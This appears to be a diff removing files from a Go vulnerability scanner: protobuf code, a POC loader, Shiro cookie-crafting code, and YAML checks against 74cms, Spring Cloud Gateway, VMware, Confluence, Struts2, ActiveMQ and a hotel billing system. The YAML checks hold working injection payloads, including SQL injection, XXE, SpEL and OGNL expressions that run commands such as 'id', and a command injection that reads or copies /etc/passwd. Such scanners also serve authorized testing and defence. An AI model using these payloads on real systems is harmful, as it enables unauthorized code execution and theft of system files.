return xxx_messageInfo_Request.Size(m)
|
|
||||||
}
|
|
||||||
func (m *Request) XXX_DiscardUnknown() {
|
|
||||||
xxx_messageInfo_Request.DiscardUnknown(m)
|
|
||||||
}
|
|
||||||
|
|
||||||
var xxx_messageInfo_Request proto.InternalMessageInfo
|
|
||||||
|
|
||||||
func (m *Request) GetUrl() *UrlType {
|
|
||||||
if m != nil {
|
|
||||||
return m.Url
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Request) GetMethod() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Method
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Request) GetHeaders() map[string]string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Headers
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Request) GetContentType() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.ContentType
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Request) GetBody() []byte {
|
|
||||||
if m != nil {
|
|
||||||
return m.Body
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
type Response struct {
|
|
||||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
|
||||||
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
|
|
||||||
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
|
|
||||||
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
|
|
||||||
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
|
|
||||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
|
||||||
XXX_unrecognized []byte `json:"-"`
|
|
||||||
XXX_sizecache int32 `json:"-"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Response) Reset() { *m = Response{} }
|
|
||||||
func (m *Response) String() string { return proto.CompactTextString(m) }
|
|
||||||
func (*Response) ProtoMessage() {}
|
|
||||||
func (*Response) Descriptor() ([]byte, []int) {
|
|
||||||
return fileDescriptor_11b04836674e6f94, []int{2}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Response) XXX_Unmarshal(b []byte) error {
|
|
||||||
return xxx_messageInfo_Response.Unmarshal(m, b)
|
|
||||||
}
|
|
||||||
func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
|
||||||
return xxx_messageInfo_Response.Marshal(b, m, deterministic)
|
|
||||||
}
|
|
||||||
func (m *Response) XXX_Merge(src proto.Message) {
|
|
||||||
xxx_messageInfo_Response.Merge(m, src)
|
|
||||||
}
|
|
||||||
func (m *Response) XXX_Size() int {
|
|
||||||
return xxx_messageInfo_Response.Size(m)
|
|
||||||
}
|
|
||||||
func (m *Response) XXX_DiscardUnknown() {
|
|
||||||
xxx_messageInfo_Response.DiscardUnknown(m)
|
|
||||||
}
|
|
||||||
|
|
||||||
var xxx_messageInfo_Response proto.InternalMessageInfo
|
|
||||||
|
|
||||||
func (m *Response) GetUrl() *UrlType {
|
|
||||||
if m != nil {
|
|
||||||
return m.Url
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Response) GetStatus() int32 {
|
|
||||||
if m != nil {
|
|
||||||
return m.Status
|
|
||||||
}
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Response) GetHeaders() map[string]string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Headers
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Response) GetContentType() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.ContentType
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Response) GetBody() []byte {
|
|
||||||
if m != nil {
|
|
||||||
return m.Body
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
type Reverse struct {
|
|
||||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
|
||||||
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
|
|
||||||
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
|
|
||||||
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
|
|
||||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
|
||||||
XXX_unrecognized []byte `json:"-"`
|
|
||||||
XXX_sizecache int32 `json:"-"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Reverse) Reset() { *m = Reverse{} }
|
|
||||||
func (m *Reverse) String() string { return proto.CompactTextString(m) }
|
|
||||||
func (*Reverse) ProtoMessage() {}
|
|
||||||
func (*Reverse) Descriptor() ([]byte, []int) {
|
|
||||||
return fileDescriptor_11b04836674e6f94, []int{3}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Reverse) XXX_Unmarshal(b []byte) error {
|
|
||||||
return xxx_messageInfo_Reverse.Unmarshal(m, b)
|
|
||||||
}
|
|
||||||
func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
|
||||||
return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
|
|
||||||
}
|
|
||||||
func (m *Reverse) XXX_Merge(src proto.Message) {
|
|
||||||
xxx_messageInfo_Reverse.Merge(m, src)
|
|
||||||
}
|
|
||||||
func (m *Reverse) XXX_Size() int {
|
|
||||||
return xxx_messageInfo_Reverse.Size(m)
|
|
||||||
}
|
|
||||||
func (m *Reverse) XXX_DiscardUnknown() {
|
|
||||||
xxx_messageInfo_Reverse.DiscardUnknown(m)
|
|
||||||
}
|
|
||||||
|
|
||||||
var xxx_messageInfo_Reverse proto.InternalMessageInfo
|
|
||||||
|
|
||||||
func (m *Reverse) GetUrl() *UrlType {
|
|
||||||
if m != nil {
|
|
||||||
return m.Url
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Reverse) GetDomain() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Domain
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Reverse) GetIp() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Ip
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Reverse) GetIsDomainNameServer() bool {
|
|
||||||
if m != nil {
|
|
||||||
return m.IsDomainNameServer
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
func init() {
|
|
||||||
proto.RegisterType((*UrlType)(nil), "lib.UrlType")
|
|
||||||
proto.RegisterType((*Request)(nil), "lib.Request")
|
|
||||||
proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
|
|
||||||
proto.RegisterType((*Response)(nil), "lib.Response")
|
|
||||||
proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
|
|
||||||
proto.RegisterType((*Reverse)(nil), "lib.Reverse")
|
|
||||||
}
|
|
||||||
|
|
||||||
func init() {
|
|
||||||
proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
|
|
||||||
}
|
|
||||||
|
|
||||||
var fileDescriptor_11b04836674e6f94 = []byte{
|
|
||||||
// 378 bytes of a gzipped FileDescriptorProto
|
|
||||||
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
|
|
||||||
0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
|
|
||||||
0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
|
|
||||||
0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
|
|
||||||
0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
|
|
||||||
0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
|
|
||||||
0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
|
|
||||||
0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
|
|
||||||
0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
|
|
||||||
0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
|
|
||||||
0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
|
|
||||||
0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
|
|
||||||
0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
|
|
||||||
0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
|
|
||||||
0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
|
|
||||||
0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
|
|
||||||
0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
|
|
||||||
0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
|
|
||||||
0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
|
|
||||||
0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
|
|
||||||
0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
|
|
||||||
0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
|
|
||||||
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
|
|
||||||
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
|
|
||||||
}
|
|
||||||
|
|
||||||
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
|
|
||||||
var pocs []*Poc
|
|
||||||
for _, f := range SelectPoc(Pocs, pocname) {
|
|
||||||
if p, err := LoadPoc(f, Pocs); err == nil {
|
|
||||||
pocs = append(pocs, p)
|
|
||||||
} else {
|
|
||||||
fmt.Println("[-] load poc ", f, " error:", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return pocs
|
|
||||||
}
|
|
||||||
|
|
||||||
func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
|
|
||||||
p := &Poc{}
|
|
||||||
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
|
|
||||||
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("[-] load poc %s error1: %v\n", fileName, err)
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
err = yaml.Unmarshal(yamlFile, p)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("[-] load poc %s error2: %v\n", fileName, err)
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return p, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func SelectPoc(Pocs embed.FS, pocname string) []string {
|
|
||||||
entries, err := Pocs.ReadDir("pocs")
|
|
||||||
if err != nil {
|
|
||||||
fmt.Println(err)
|
|
||||||
}
|
|
||||||
var foundFiles []string
|
|
||||||
for _, entry := range entries {
|
|
||||||
if strings.Contains(entry.Name(), pocname) {
|
|
||||||
foundFiles = append(foundFiles, entry.Name())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return foundFiles
|
|
||||||
}
|
|
||||||
|
|
||||||
func LoadPocbyPath(fileName string) (*Poc, error) {
|
|
||||||
p := &Poc{}
|
|
||||||
data, err := ioutil.ReadFile(fileName)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("[-] load poc %s error3: %v\n", fileName, err)
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
err = yaml.Unmarshal(data, p)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("[-] load poc %s error4: %v\n", fileName, err)
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return p, err
|
|
||||||
}
|
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
syntax = "proto3";
|
|
||||||
package lib;
|
|
||||||
|
|
||||||
message UrlType {
|
|
||||||
string scheme = 1;
|
|
||||||
string domain = 2;
|
|
||||||
string host = 3;
|
|
||||||
string port = 4;
|
|
||||||
string path = 5;
|
|
||||||
string query = 6;
|
|
||||||
string fragment = 7;
|
|
||||||
}
|
|
||||||
|
|
||||||
message Request {
|
|
||||||
UrlType url = 1;
|
|
||||||
string method = 2;
|
|
||||||
map<string, string> headers = 3;
|
|
||||||
string content_type = 4;
|
|
||||||
bytes body = 5;
|
|
||||||
}
|
|
||||||
|
|
||||||
message Response {
|
|
||||||
UrlType url = 1;
|
|
||||||
int32 status = 2 ;
|
|
||||||
map<string, string> headers = 3;
|
|
||||||
string content_type = 4;
|
|
||||||
bytes body = 5;
|
|
||||||
}
|
|
||||||
|
|
||||||
message Reverse {
|
|
||||||
UrlType url = 1;
|
|
||||||
string domain = 2;
|
|
||||||
string ip = 3;
|
|
||||||
bool is_domain_name_server = 4;
|
|
||||||
}
|
|
||||||
@@ -1,73 +0,0 @@
|
|||||||
package lib
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"crypto/aes"
|
|
||||||
"crypto/cipher"
|
|
||||||
"crypto/rand"
|
|
||||||
"encoding/base64"
|
|
||||||
"io"
|
|
||||||
|
|
||||||
uuid "github.com/satori/go.uuid"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
|
|
||||||
Content, _ = base64.StdEncoding.DecodeString(CheckContent)
|
|
||||||
)
|
|
||||||
|
|
||||||
func Padding(plainText []byte, blockSize int) []byte {
|
|
||||||
//计算要填充的长度
|
|
||||||
n := (blockSize - len(plainText)%blockSize)
|
|
||||||
//对原来的明文填充n个n
|
|
||||||
temp := bytes.Repeat([]byte{byte(n)}, n)
|
|
||||||
plainText = append(plainText, temp...)
|
|
||||||
return plainText
|
|
||||||
}
|
|
||||||
|
|
||||||
func GetShrioCookie(key, mode string) string {
|
|
||||||
if mode == "gcm" {
|
|
||||||
return AES_GCM_Encrypt(key)
|
|
||||||
} else {
|
|
||||||
//cbc
|
|
||||||
return AES_CBC_Encrypt(key)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
//AES CBC加密后的payload
|
|
||||||
func AES_CBC_Encrypt(shirokey string) string {
|
|
||||||
key, err := base64.StdEncoding.DecodeString(shirokey)
|
|
||||||
if err != nil {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
block, err := aes.NewCipher(key)
|
|
||||||
if err != nil {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
Content = Padding(Content, block.BlockSize())
|
|
||||||
iv := uuid.NewV4().Bytes() //指定初始向量vi,长度和block的块尺寸一致
|
|
||||||
blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式,返回一个BlockMode接口对象
|
|
||||||
cipherText := make([]byte, len(Content))
|
|
||||||
blockMode.CryptBlocks(cipherText, Content) //加密数据
|
|
||||||
return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...))
|
|
||||||
}
|
|
||||||
|
|
||||||
//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式
|
|
||||||
func AES_GCM_Encrypt(shirokey string) string {
|
|
||||||
key, err := base64.StdEncoding.DecodeString(shirokey)
|
|
||||||
if err != nil {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
block, err := aes.NewCipher(key)
|
|
||||||
if err != nil {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
nonce := make([]byte, 16)
|
|
||||||
_, err = io.ReadFull(rand.Reader, nonce)
|
|
||||||
if err != nil {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
|
|
||||||
ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
|
|
||||||
return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
|
|
||||||
}
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
name: poc-yaml-74cms-sqli-1
|
|
||||||
set:
|
|
||||||
rand: randomInt(200000000, 210000000)
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\xc3\x97tamp=&nonce=
|
|
||||||
headers:
|
|
||||||
Content-Type: 'text/xml'
|
|
||||||
body: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///">]><xml><ToUserName>&test;</ToUserName><FromUserName>1111</FromUserName><MsgType>123</MsgType><FuncFlag>3</FuncFlag><Content>1%' union select md5({{rand}})#</Content></xml>
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.body.bcontains(bytes(md5(string(rand))))
|
|
||||||
detail:
|
|
||||||
author: betta(https://github.com/betta-cyber)
|
|
||||||
links:
|
|
||||||
- https://www.uedbox.com/post/29340
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
name: poc-yaml-74cms-sqli-2
|
|
||||||
set:
|
|
||||||
rand: randomInt(200000000, 210000000)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23
|
|
||||||
expression: |
|
|
||||||
response.body.bcontains(bytes(md5(string(rand))))
|
|
||||||
detail:
|
|
||||||
author: rexus
|
|
||||||
links:
|
|
||||||
- https://www.uedbox.com/post/30019/
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
name: poc-yaml-74cms-sqli
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a
|
|
||||||
expression: |
|
|
||||||
response.body.bcontains(b"ef775988943825d2871e1cfa75473ec")
|
|
||||||
detail:
|
|
||||||
author: jinqi
|
|
||||||
links:
|
|
||||||
- https://www.t00ls.net/articles-54436.html
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /jbossmq-httpil/HTTPServerILServlet
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL')
|
|
||||||
detail:
|
|
||||||
author: mamba
|
|
||||||
description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号"
|
|
||||||
links:
|
|
||||||
- https://github.com/chaosec2021
|
|
||||||
@@ -1,44 +0,0 @@
|
|||||||
name: Spring-Cloud-CVE-2022-22947
|
|
||||||
set:
|
|
||||||
router: randomLowercase(8)
|
|
||||||
rand1: randomInt(800000000, 1000000000)
|
|
||||||
rand2: randomInt(800000000, 1000000000)
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /actuator/gateway/routes/{{router}}
|
|
||||||
headers:
|
|
||||||
Content-Type: application/json
|
|
||||||
body: |
|
|
||||||
{
|
|
||||||
"id": "{{router}}",
|
|
||||||
"filters": [{
|
|
||||||
"name": "AddResponseHeader",
|
|
||||||
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"}
|
|
||||||
}],
|
|
||||||
"uri": "http://example.com",
|
|
||||||
"order": 0
|
|
||||||
}
|
|
||||||
expression: response.status == 201
|
|
||||||
- method: POST
|
|
||||||
path: /actuator/gateway/refresh
|
|
||||||
headers:
|
|
||||||
Content-Type: application/json
|
|
||||||
expression: response.status == 200
|
|
||||||
- method: GET
|
|
||||||
path: /actuator/gateway/routes/{{router}}
|
|
||||||
headers:
|
|
||||||
Content-Type: application/json
|
|
||||||
expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2)))
|
|
||||||
- method: DELETE
|
|
||||||
path: /actuator/gateway/routes/{{router}}
|
|
||||||
expression: response.status == 200
|
|
||||||
- method: POST
|
|
||||||
path: /actuator/gateway/refresh
|
|
||||||
headers:
|
|
||||||
Content-Type: application/json
|
|
||||||
expression: response.status == 200
|
|
||||||
detail:
|
|
||||||
author: jweny
|
|
||||||
description: Spring Cloud Gateway Code Injection
|
|
||||||
links:
|
|
||||||
- https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-CVE-2022-22954-VMware-RCE
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d
|
|
||||||
expression: |
|
|
||||||
response.status == 400 && "device id:".bmatches(response.body)
|
|
||||||
detail:
|
|
||||||
author: mamba
|
|
||||||
description: "CVE-2022-22954-VMware-RCE by chaosec公众号"
|
|
||||||
links:
|
|
||||||
- https://github.com/chaosec2021
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
name: Confluence-CVE-2022-26134
|
|
||||||
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
|
|
||||||
expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
|
|
||||||
detail:
|
|
||||||
author: zan8in
|
|
||||||
description: |
|
|
||||||
Atlassian Confluence OGNL注入漏洞
|
|
||||||
Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
|
|
||||||
app="ATLASSIAN-Confluence"
|
|
||||||
links:
|
|
||||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-26134
|
|
||||||
- http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html
|
|
||||||
- https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
name: Hotel-Internet-Manage-RCE
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1"
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"parent.doTestResult")
|
|
||||||
detail:
|
|
||||||
author: test
|
|
||||||
Affected Version: "Hotel Internet Billing & Operation Support System"
|
|
||||||
links:
|
|
||||||
- http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8
|
|
||||||
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
name: poc-yaml-struts2-062-cve-2021-31805-rce
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /
|
|
||||||
headers:
|
|
||||||
Content-Type: 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF'
|
|
||||||
Cache-Control: 'max-age=0'
|
|
||||||
Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
|
|
||||||
|
|
||||||
body: "\
|
|
||||||
------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\n\
|
|
||||||
Content-Disposition: form-data; name=\"id\"\r\n\r\n\
|
|
||||||
%{\r\n\
|
|
||||||
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
|
|
||||||
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n\
|
|
||||||
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
|
|
||||||
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n
|
|
||||||
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
|
|
||||||
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n\
|
|
||||||
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n\
|
|
||||||
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n
|
|
||||||
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n
|
|
||||||
}\r\n\
|
|
||||||
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
|
|
||||||
"
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
|
||||||
detail:
|
|
||||||
author: Jaky
|
|
||||||
links:
|
|
||||||
- https://mp.weixin.qq.com/s/taEEl6UQ2yi4cqzs2UBfCg
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-active-directory-certsrv-detect
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /certsrv/certrqad.asp
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 401 && "Server" in response.headers && response.headers["Server"].contains("Microsoft-IIS") && response.body.bcontains(bytes("401 - ")) && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("Negotiate") && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("NTLM")
|
|
||||||
detail:
|
|
||||||
author: AgeloVito
|
|
||||||
links:
|
|
||||||
- https://www.cnblogs.com/EasonJim/p/6859345.html
|
|
||||||
@@ -1,34 +0,0 @@
|
|||||||
name: poc-yaml-activemq-cve-2016-3088
|
|
||||||
set:
|
|
||||||
filename: randomLowercase(6)
|
|
||||||
fileContent: randomLowercase(6)
|
|
||||||
rules:
|
|
||||||
- method: PUT
|
|
||||||
path: /fileserver/{{filename}}.txt
|
|
||||||
body: |
|
|
||||||
{{fileContent}}
|
|
||||||
expression: |
|
|
||||||
response.status == 204
|
|
||||||
- method: GET
|
|
||||||
path: /admin/test/index.jsp
|
|
||||||
search: |
|
|
||||||
